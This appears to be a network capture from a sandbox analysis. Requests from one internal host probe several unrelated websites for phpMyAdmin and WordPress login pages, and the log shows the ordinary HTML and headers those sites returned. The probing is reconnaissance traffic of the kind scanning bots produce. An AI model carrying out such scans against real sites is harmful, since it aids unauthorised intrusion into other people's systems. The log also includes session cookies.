2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 27 73 68 6f 70 69 66 79 2e 63 6f 6e 74 65 6e 74 5f 66 6f 72 5f 68 65 61 64 65 72 2e 73 74 61 72 74 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 2d 73 69 74 65 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 32 6c 71 57 52 6e 49 5f 72 7a 72 52 6d 72 43 32 4c 55 48 30 30 49 68 6b 35 30 56 70 67 34 51 6f 46 52 32 64 47 32 4b 43 71 63 22 3e 0a 3c 6d 65 74 61 20 69 64 3d 22 73 68 6f 70 69 66 79 2d 64 69 67 69 74 61 6c 2d 77 61 6c 6c 65 74 22 20 6e 61 6d 65 3d 22 73 68 6f 70 69 66 79 2d 64 69 67 69 74 61 6c 2d 77 61 6c 6c 65 74 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 31 35 38 34 35 34 34 2f 64 69 67 69 74 61 6c 5f 77 61 6c 6c 65 Data Ascii: ndow.performance.mark('shopify.content_for_header.start');</script><meta name="google-site-verification" content="_2lqWRnI_rzrRmrC2LUH00Ihk50Vpg4QoFR2dG2KCqc"><meta id="shopify-digital-wallet" name="shopify-digital-wallet" content="/1584544/digital_walle
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 5c 2f 5c 2f 73 68 6f 70 69 66 79 5c 2f 53 68 6f 70 5c 2f 31 35 38 34 35 34 34 22 2c 22 6d 65 72 63 68 61 6e 74 4e 61 6d 65 22 3a 22 41 72 74 75 73 6f 20 50 61 73 74 72 79 22 2c 22 72 65 71 75 69 72 65 64 42 69 6c 6c 69 6e 67 43 6f 6e 74 61 63 74 46 69 65 6c 64 73 22 3a 5b 22 70 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 22 65 6d 61 69 6c 22 5d 2c 22 72 65 71 75 69 72 65 64 53 68 69 70 70 69 6e 67 43 6f 6e 74 61 63 74 46 69 65 6c 64 73 22 3a 5b 22 70 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 22 65 6d 61 69 6c 22 5d 2c 22 73 68 69 70 70 69 6e 67 54 79 70 65 22 3a 22 73 68 69 70 70 69 6e 67 22 2c 22 73 75 70 70 6f 72 74 65 64 4e 65 74 77 6f 72 6b 73 22 3a 5b 22 76 69 73 61 22 2c 22 6d 61 73 74 65 72 43 61 72 64 22 2c 22 61 6d 65 78 22 2c 22 64 69 73 63 6f 76 Data Ascii: \/\/shopify\/Shop\/1584544","merchantName":"Artuso Pastry","requiredBillingContactFields":["postalAddress","email"],"requiredShippingContactFields":["postalAddress","email"],"shippingType":"shipping","supportedNetworks":["visa","masterCard","amex","discov
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 64 6c 65 22 3a 6e 75 6c 6c 7d 3b 0a 53 68 6f 70 69 66 79 2e 63 64 6e 48 6f 73 74 20 3d 20 22 61 72 74 75 73 6f 70 61 73 74 72 79 2e 63 6f 6d 2f 63 64 6e 22 3b 0a 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 20 3d 20 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 20 7c 7c 20 7b 7d 3b 0a 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 2e 72 6f 6f 74 20 3d 20 22 2f 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 6d 6f 64 75 6c 65 22 3e 21 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 28 6f 2e 53 68 6f 70 69 66 79 3d 6f 2e 53 68 6f 70 69 66 79 7c 7c 7b 7d 29 2e 6d 6f 64 75 6c 65 73 3d 21 30 7d 28 77 69 6e 64 6f 77 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 76 Data Ascii: dle":null};Shopify.cdnHost = "artusopastry.com/cdn";Shopify.routes = Shopify.routes \|\| {};Shopify.routes.root = "/";</script><script type="module">!function(o){(o.Shopify=o.Shopify\|\|{}).modules=!0}(window);</script><script>!function(o){function n(){v
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 2c 22 73 68 6f 70 2d 70 61 79 2d 70 61 79 6d 65 6e 74 2d 72 65 71 75 65 73 74 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 73 68 6f 70 2d 70 61 79 2d 70 61 79 6d 65 6e 74 2d 72 65 71 75 65 73 74 5f 65 31 31 30 64 32 61 61 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 73 68 6f 70 2d 70 61 79 5f 33 61 30 35 38 65 62 61 2e 65 73 6d 2e 6a 73 22 5d 2c 22 64 69 73 63 6f 75 6e 74 2d 61 70 70 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 64 69 73 63 6f 75 6e 74 2d 61 70 70 5f 34 35 66 66 61 66 63 63 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d Data Ascii: ,"shop-pay-payment-request":["modules/client.shop-pay-payment-request_e110d2aa.en.esm.js","modules/chunk.common_aa18f3d8.esm.js","modules/chunk.shop-pay_3a058eba.esm.js"],"discount-app":["modules/client.discount-app_45ffafcc.en.esm.js","modules/chunk.comm
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 6e 61 67 65 72 2e 6e 65 74 5c 2f 75 65 74 5c 2f 74 72 61 63 6b 69 6e 67 5f 73 63 72 69 70 74 3f 73 68 6f 70 3d 61 72 74 75 73 6f 70 61 73 74 72 79 2e 6d 79 73 68 6f 70 69 66 79 2e 63 6f 6d 5c 75 30 30 32 36 73 70 2d 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3d 63 48 56 69 62 47 6c 6a 4c 43 42 74 59 58 67 74 59 57 64 6c 50 54 6b 77 4d 41 22 5d 3b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 75 72 6c 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0a 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3b 0a 20 20 20 20 20 20 73 2e 61 73 79 6e 63 Data Ascii: nager.net\/uet\/tracking_script?shop=artusopastry.myshopify.com\u0026sp-cache-control=cHVibGljLCBtYXgtYWdlPTkwMA"]; for (var i = 0; i < urls.length; i++) { var s = document.createElement('script'); s.type = 'text/javascript'; s.async
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 5f 63 75 73 74 6f 6d 65 72 22 5d 27 2c 27 66 6f 72 6d 5b 61 63 74 69 6f 6e 2a 3d 22 2f 63 6f 6e 74 61 63 74 22 5d 20 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 66 6f 72 6d 5f 74 79 70 65 22 5d 5b 76 61 6c 75 65 3d 22 63 75 73 74 6f 6d 65 72 22 5d 27 5d 2e 6a 6f 69 6e 28 22 2c 22 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 65 3d 65 2e 74 61 72 67 65 74 3b 6e 75 6c 6c 3d 3d 65 7c 7c 6e 75 6c 6c 21 3d 28 65 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 29 7b 69 66 28 6e 75 6c 6c 3d 3d 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 69 66 28 22 46 4f 52 4d 22 21 3d 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 74 61 67 4e 61 6d 65 29 72 65 74 75 72 6e 20 65 28 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2c 6e 29 3b 66 6f 72 Data Ascii: _customer"]','form[action*="/contact"] input[name="form_type"][value="customer"]'].join(",");function n(e){e=e.target;null==e\|\|null!=(e=function e(t,n){if(null==t.parentElement)return null;if("FORM"!=t.parentElement.tagName)return e(t.parentElement,n);for

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.4	61432	104.21.20.204	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	174	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	740	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://majormega.com/wp-json/>; rel="https://api.w.org/" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mAIsPciTwY1zZf9VhMdjdR%2F%2B%2FMC0V66fIXy1J6DQChTbH%2BM4gL70L2%2BRD0bCLnafXHmFAUO6tXlEsjaXGSmcGMfGLRh2Lw3uLP0A5bZ9Jce%2FfrP4R8XUN8Z60DouYwyV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845ddb8c608da9-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:32 UTC	629	IN	Data Raw: 31 64 38 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 77 65 62 66 6c 6f 77 70 61 67 65 69 64 22 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 35 64 30 33 62 36 33 31 33 30 31 31 38 33 66 36 36 30 36 32 35 37 63 64 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 56 69 72 74 75 61 6c 20 52 65 61 6c 69 74 79 20 41 74 74 72 61 63 74 69 6f 6e 73 20 2d 20 4d 61 6a 6f 72 4d 65 67 61 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 57 65 20 63 6f 6d 62 69 6e 65 20 56 52 2c 20 6d 6f 74 69 6f 6e 20 73 69 6d 6c 75 61 74 69 6f 6e 20 61 6e 64 20 65 6e 76 69 72 6f 72 6e 6d 65 6e 74 61 6c 20 65 66 66 65 Data Ascii: 1d80<!DOCTYPE html><html data-wf-page="webflowpageid" data-wf-site="5d03b631301183f6606257cd"><head><meta charset="utf-8"><title>Virtual Reality Attractions - MajorMega</title><meta content="We combine VR, motion simluation and envirornmental effe
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 76 6a 65 31 6f 64 7a 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 74 72 79 7b 54 79 70 65 6b 69 74 2e 6c 6f 61 64 28 29 3b 7d 63 61 74 63 68 28 65 29 7b 7d 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 Data Ascii: ><meta content="width=device-width, initial-scale=1" name="viewport"><script src="https://use.typekit.net/vje1odz.js" type="text/javascript"></script><script type="text/javascript">try{Typekit.load();}catch(e){}</script>... [if lt IE 9]><script src="
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 3e 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 6d 61 Data Ascii: /comments/feed/" /><script>window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/ma
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 66 31 5c 75 64 38 33 63 5c 75 64 66 66 62 5c 75 32 30 30 62 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5c 75 64 66 66 66 22 29 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 3f 6e 65 77 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c 79 3a 21 30 7d 29 2c 6f 3d Data Ascii: f1\ud83c\udffb\u200b\ud83e\udef2\ud83c\udfff")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 20 69 6e 20 65 29 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 3d 3d 74 26 26 28 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 29 3b 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 Data Ascii: (function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExc
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 62 75 69 6c 64 2f 61 63 74 69 76 65 2d 66 69 6c 74 65 72 73 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 6c 65 2d 61 64 64 2d 74 6f 2d 63 61 72 74 2d 66 6f 72 6d 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 61 64 64 2d 74 6f 2d 63 61 72 74 2d 66 6f 72 6d 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 Data Ascii: build/active-filters.css?ver=10.6.5" media="all" /><link rel="stylesheet" id="wc-blocks-style-add-to-cart-form-css" href="https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/add-to-cart-form.css?ver=10.6.5" media="all"
2023-12-20 02:13:32 UTC	86	IN	Data Raw: 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 63 61 74 61 6c 6f 67 2d 73 6f 72 74 69 6e 67 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0d 0a Data Ascii: rce/packages/woocommerce-blocks/build/catalog-sorting.css?ver=10.6.5" media="all" />
2023-12-20 02:13:32 UTC	212	IN	Data Raw: 63 65 0d 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 6c 65 2d 63 75 73 74 6f 6d 65 72 2d 61 63 63 6f 75 6e 74 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 63 75 73 74 6f 6d 65 72 2d 61 63 63 6f 75 6e 74 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0d 0a Data Ascii: ce<link rel="stylesheet" id="wc-blocks-style-customer-account-css" href="https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/customer-account.css?ver=10.6.5" media="all" />
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 32 30 34 30 0d 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 6c 65 2d 66 65 61 74 75 72 65 64 2d 63 61 74 65 67 6f 72 79 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 66 65 61 74 75 72 65 64 2d 63 61 74 65 67 6f 72 79 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 Data Ascii: 2040<link rel="stylesheet" id="wc-blocks-style-featured-category-css" href="https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/featured-category.css?ver=10.6.5" media="all" /><link rel="stylesheet" id="wc-blocks-sty
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 70 72 6f 64 75 63 74 2d 63 61 74 65 67 6f 72 69 65 73 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 63 2d 62 6c 6f 63 6b 73 2d 73 74 79 6c 65 2d 70 72 6f 64 75 63 74 2d 69 6d 61 67 65 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 70 72 6f 64 75 63 74 2d 69 6d 61 67 65 2e 63 73 73 3f 76 65 72 3d 31 30 2e 36 2e 35 22 20 6d 65 64 69 Data Ascii: ce-blocks/build/product-categories.css?ver=10.6.5" media="all" /><link rel="stylesheet" id="wc-blocks-style-product-image-css" href="https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-image.css?ver=10.6.5" medi

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.4	61423	199.60.103.25	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	410	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=20b4858a8feb0bdf13218a028cef44dfdf9b9de0-1703038409; __cf_bm=ehZjTSv723BToZAVOJJkP8AhQlTBm9mV22TVcRIVSAg-1703038409-1-AXaHKodARbKL3kOuSXKr5kJv4lyoxfndGnD/IYCFIfrzosJo13N8ek4Ra+EVI3GshHtQ2GVEFr7rEzTe6CsOBmY= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	769	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Length: 0 Connection: close Location: https://www.greenlawnfertilizing.com/phpMyAdmin/ Cache-Control: s-maxage=3600,max-age=120 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests X-Hs-Https-Only: worker Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IslS1%2FvdHXT%2FBrNXFr%2BlaIc4xSPB4scjlRGAv%2BgUfbKJE92S3u5jNL7ThCJqzGudTL6p7qnrqUJfGRQ%2FU%2Ff8AXWxhX1EqjahHf%2F%2Fc0Ab%2B2ZqiScyTP2QcIKmS%2FnEtE9kbO2paYZVLQyCvg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845ddbb9b9220f-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.4	60954	95.173.180.22	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: london.com.tr Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	572	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=v91armkkpiu55v9b4ilm5pccmf; path=/ Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: x-test-header, Origin, X-Requested-With, Content-Type, Accept Vary: Accept-Encoding,User-Agent
2023-12-20 02:13:32 UTC	7650	IN	Data Raw: 31 64 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 Data Ascii: 1dda<!DOCTYPE html><html><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge">
2023-12-20 02:13:32 UTC	13596	IN	Data Raw: 33 35 31 34 0d 0a 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 22 2e 67 6f 6e 64 65 72 77 70 22 29 2e 61 64 64 43 6c 61 73 73 28 22 72 65 73 74 61 72 74 22 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 24 28 27 23 77 70 5f 6d 65 73 73 61 67 65 27 29 2e 6b 65 79 70 72 65 73 73 28 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 65 2e 77 68 69 63 68 20 3d 3d 20 31 33 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 65 73 73 61 67 65 20 3d 20 24 28 27 23 77 70 5f 6d 65 73 73 61 67 65 27 29 2e 76 61 6c 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 27 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 68 61 74 73 61 70 70 2e 63 6f Data Ascii: 3514"); $(".gonderwp").addClass("restart"); } $('#wp_message').keypress(function(e) { if (e.which == 13) { var message = $('#wp_message').val(); window.open('https://api.whatsapp.co
2023-12-20 02:13:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

